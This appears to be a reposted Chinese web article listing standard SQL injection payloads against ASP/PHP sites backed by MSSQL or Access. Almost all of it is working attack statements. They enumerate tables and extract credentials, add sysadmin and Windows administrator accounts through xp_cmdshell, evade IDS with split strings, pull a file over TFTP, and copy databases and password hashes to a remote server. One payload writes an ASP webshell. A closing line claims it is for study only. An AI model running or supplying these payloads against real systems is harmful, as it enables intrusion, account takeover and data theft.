ASP+PHP标准sql注入语句

1.判断有无注入点
‘  ;   and 1=1    and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) —判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)–
and 1=(select count(*) from admin where len(用户字段名称name)>0) 
and 1=(select count(*) from admin where len(密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符
and 1=(select count(*) from admin where left(name,1)=’a’) —猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=’ab’)—猜解用户帐号的第二位

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51)  —

 
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
‘group by users.id having 1=1–
‘group by users.id, users.username, users.password, users.privs having 1=1–
‘; insert into users values( 666, ‘attacker’, ‘foobar’, 0xffff )–

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’logintable’-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’logintable’ WHERE COLUMN_NAME NOT IN (‘login_id’)-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’logintable’ WHERE COLUMN_NAME NOT IN (‘login_id’,’login_name’)-
UNION SELECT TOP 1 login_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_name=’Rahul’–


看服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)–

看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’))–

判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and ‘sa’=(SELECT System_user)–
and user_name()=’dbo’–
and 0<>(select user_name()–

看xp_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = ‘X’ AND name = ‘xp_cmdshell’)

xp_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’,’xplog70.dll’–
;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’,’c:inetpubwwwrootxplog70.dll’–

反向PING自己实验
;use master;declare @s int;exec sp_oacreate “wscript.shell”,@s out;exec sp_oamethod @s,”run”,

加帐号
;DECLARE @shell INT EXEC SP_OACREATE ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’ru

创建一个虚拟目录E盘:
;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ c

访问属性:(配合写入一个webshell)
declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ csc

 
爆库  特殊技巧::%5c=” 或者把/和 修改%5提交 
and 0<>(select top 1 paths from newtable)–
得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)–
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
依次提交 dbid = 7,8,9…. 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’) 到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’ and name not in (‘Admin’)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=’U’ and name=’admin’
and uid>(str(id))) 到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(‘id’,…)) 来出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名

依次可以得到密码。假设存在user_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’ and name not in(‘Address’))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=’U’ and name=’admin’ and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)

得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));–
and (select top 1 swappass from swap)=1–
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=’HKEY_LOCAL_MACHINE’, @key=’SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots’, @value_name=’/’, values=@test OUTPUT insert into paths(path) values(@test)–
;use ku1;–
;create table cmd (str image);– 建立image类型的表cmd

存在xp_cmdshell的测试过程:
;exec master..xp_cmdshell ‘dir’
;exec master.dbo.sp_addlogin jiaoniang$;– 加SQL帐号
;exec master.dbo.sp_password null,jiaoniang$,1866574;–
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;–
;exec master.dbo.xp_cmdshell ‘net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;–
;exec master.dbo.xp_cmdshell ‘net localgroup administrators jiaoniang$ /add’;–
exec master..xp_servicecontrol ‘start’, ‘schedule’ 启动服务
exec master..xp_servicecontrol ‘start’, ‘server’
; DECLARE @shell INT EXEC SP_OACREATE ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:WINNTsystem32cmd.exe /c net user jiaoniang$ 1866574 /add’
;DECLARE @shell INT EXEC SP_OACREATE ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:WINNTsystem32cmd.exe /c net localgroup administrators jiaoniang$ /add’
‘; exec master..xp_cmdshell ‘tftp -i youip get file.exe’– 利用TFTP上传文件

;declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ‘dir c:’
;declare @a sysname set @a=’xp’+’_cm’+’dshell’ exec @a ‘dir c:’
;declare @a;set @a=db_name();backup database @a to disk=’你的IP你的共享目录bak.dat’


如果被限制则可以。
select * from openrowset(‘sqloledb’,’server’;’sa’;”,’select ”OK!” exec master.dbo.sp_addlogin hax’)
查询构造:
SELECT * FROM news WHERE id=… AND topic=… AND …..
admin’and 1=(select count(*) from [user] where username=’victim’ and right(left(userpass,01),1)=’1′) and userpass <>’
select 123;–
;use master;–
:a’ or name like ‘fff%’;– 显示有一个叫ffff的用户哈。
and 1<>(select count(email) from [user]);–
;update [users] set email=(select top 1 name from sysobjects where xtype=’u’ and status>0) where name=’ffff’;–
;update [users] set email=(select top 1 id from sysobjects where xtype=’u’ and name=’ad’) where name=’ffff’;–
‘;update [users] set email=(select top 1 name from sysobjects where xtype=’u’ and id>581577110) where name=’ffff’;–
‘;update [users] set email=(select top 1 count(id) from password) where name=’ffff’;–
‘;update [users] set email=(select top 1 pwd from password where id=2) where name=’ffff’;–
‘;update [users] set email=(select top 1 name from password where id=2) where name=’ffff’;–
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 
通过查看ffff的用户资料可得第一个用表叫ad 
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)–
insert into users values( 667,123,123,0xffff)–
insert into users values ( 123, ‘admin”–‘, ‘password’, 0xffff)–
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access数据库

枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);–
这是将第一个表名更新到aaa的字段处。 
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。 
;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);– 
然后id=1552 and exists(select * from aaa where aaa>5) 
读出第二个表,一个个的读出,直到没有为止。 
读字段是这样: 
;update aaa set aaa=(select top 1 col_name(object_id(‘表名’),1));– 
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名 
;update aaa set aaa=(select top 1 col_name(object_id(‘表名’),2));– 
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] 
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>’你得到的表名’ 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(‘table1′,’table2’,…) 
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名] 
update 表名 set 字段=(select top 1 col_name(object_id(‘要查询的数据表名’),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
;declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ‘dir c:’
;declare @a sysname set @a=’xp’+’_cm’+’dshell’ exec @a ‘dir c:’

1、 开启远程数据库 
基本语法 
select * from OPENROWSET(‘SQLOLEDB’, ‘server=servername;uid=sa;pwd=123’, ‘select * from table1’ ) 
参数: (1) OLEDB Provider name 
2、 其中连接字符串参数可以是任何端口用来连接,比如 
select * from OPENROWSET(‘SQLOLEDB’, ‘uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’, ‘select * from table’
3.复制目标主机的整个数据库insert所有远程表到本地表。
基本语法: 
insert into OPENROWSET(‘SQLOLEDB’, ‘server=servername;uid=sa;pwd=123’, ‘select * from table1’) select * from table2 
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如: 
insert into OPENROWSET(‘SQLOLEDB’,’uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,’select * from table1′) select * from table2 
insert into OPENROWSET(‘SQLOLEDB’,’uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,’select * from _sysdatabases’) 
select * from master.dbo.sysdatabases 
insert into OPENROWSET(‘SQLOLEDB’,’uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,’select * from _sysobjects’) 
select * from user_database.dbo.sysobjects 
insert into OPENROWSET(‘SQLOLEDB’,’uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,’select * from _syscolumns’) 
select * from user_database.dbo.syscolumns 
复制数据库: 
insert into OPENROWSET(‘SQLOLEDB’,’uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,’select * from table1′) select * from database..table1 
insert into OPENROWSET(‘SQLOLEDB’,’uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,’select * from table2′) select * from database..table2
复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下: 
insert into OPENROWSET(‘SQLOLEDB’, ‘uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,’select * from _sysxlogins’) select * from database.dbo.sysxlogins                                                        
得到hash之后,就可以进行暴力破解。
遍历目录的方法:先创建一个临时表:temp
 
‘;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));– 
‘;insert temp exec master.dbo.xp_availablemedia;– 获得当前所有驱动器 
‘;insert into temp(id) exec master.dbo.xp_subdirs ‘c:’;– 获得子目录列表 
‘;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:’;– 获得所有子目录的目录树结构,并寸入temp表中 
‘;insert into temp(id) exec master.dbo.xp_cmdshell ‘type c:webindex.asp’;– 查看某个文件的内容 
‘;insert into temp(id) exec master.dbo.xp_cmdshell ‘dir c:’;– 
‘;insert into temp(id) exec master.dbo.xp_cmdshell ‘dir c: *.asp /s/a’;– 
‘;insert into temp(id) exec master.dbo.xp_cmdshell ‘cscript C:InetpubAdminScriptsadsutil.vbs enum w3svc’ 
‘;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:’;– (xp_dirtree适用权限PUBLIC)
写入表: 

语句1:and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’));– 

语句2:and 1=(SELECT IS_SRVROLEMEMBER(‘serveradmin’));– 
语句3:and 1=(SELECT IS_SRVROLEMEMBER(‘setupadmin’));– 
语句4:and 1=(SELECT IS_SRVROLEMEMBER(‘securityadmin’));– 
语句5:and 1=(SELECT IS_SRVROLEMEMBER(‘securityadmin’));– 
语句6:and 1=(SELECT IS_SRVROLEMEMBER(‘diskadmin’));– 
语句7:and 1=(SELECT IS_SRVROLEMEMBER(‘bulkadmin’));– 
语句8:and 1=(SELECT IS_SRVROLEMEMBER(‘bulkadmin’));– 
语句9:and 1=(SELECT IS_MEMBER(‘db_owner’));-

把路径写到表中去: 
;create table dirs(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_dirtree ‘c:’–
and 0<>(select top 1 paths from dirs)–
and 0<>(select top 1 paths from dirs where paths not in(‘@Inetpub’))–
;create table dirs1(paths varchar(100), id int)– 
;insert dirs exec master.dbo.xp_dirtree ‘e:web’– 
and 0<>(select top 1 paths from dirs1)–
把数据库备份到网页目录:下载 
;declare @a sysname; set @a=db_name();backup database @a to disk=’e:webdown.bak’;–
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id(‘USER_LOGIN’),1) from sysobjects) 参看相关表。 
and 1=(select user_id from USER_LOGIN) 
and 0=(select user from USER_LOGIN where user>1)
-=- wscript.shell example -=-
declare @o int 
exec sp_oacreate ‘wscript.shell’, @o out 
exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ 
‘; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’–
declare @o int, @f int, @t int, @ret int 
declare @line varchar(8000) 
exec sp_oacreate ‘scripting.filesystemobject’, @o out 
exec sp_oamethod @o, ‘opentextfile’, @f out, ‘c:boot.ini’, 1 
exec @ret = sp_oamethod @f, ‘readline’, @line out 
while( @ret = 0 ) 
begin 
print @line 
exec @ret = sp_oamethod @f, ‘readline’, @line out 
end
declare @o int, @f int, @t int, @ret int 
exec sp_oacreate ‘scripting.filesystemobject’, @o out 
exec sp_oamethod @o, ‘createtextfile’, @f out, ‘c:inetpubwwwrootfoo.asp’, 1 
exec @ret = sp_oamethod @f, ‘writeline’, NULL, 
‘<% set o = server.createobject(“wscript.shell”): o.run( request.querystring(“cmd”) ) %>’
declare @o int, @ret int 
exec sp_oacreate ‘speech.voicetext’, @o out 
exec sp_oamethod @o, ‘register’, NULL, ‘foo’, ‘bar’ 
exec sp_oasetproperty @o, ‘speed’, 150 
exec sp_oamethod @o, ‘speak’, NULL, ‘all your sequel servers are belong to,us’, 528 
waitfor delay ’00:00:05′
‘; declare @o int, @ret int exec sp_oacreate ‘speech.voicetext’, @o out exec sp_oamethod @o, ‘register’, NULL, ‘foo’, ‘bar’ exec sp_oasetproperty @o, ‘speed’, 150 exec sp_oamethod @o, ‘speak’, NULL, ‘all your sequel servers are belong to us’, 528 waitfor delay ’00:00:05′-
xp_dirtree适用权限PUBLIC
exec master.dbo.xp_dirtree ‘c:’
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。
insert dirs exec master.dbo.xp_dirtree ‘c:’
只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!
这里介绍的文章就用于交流学习,请与用于非法用途。

未经允许不得转载:PHP100中文网 - 中国第一档PHP资源分享门户 » ASP+PHP标准sql注入语句

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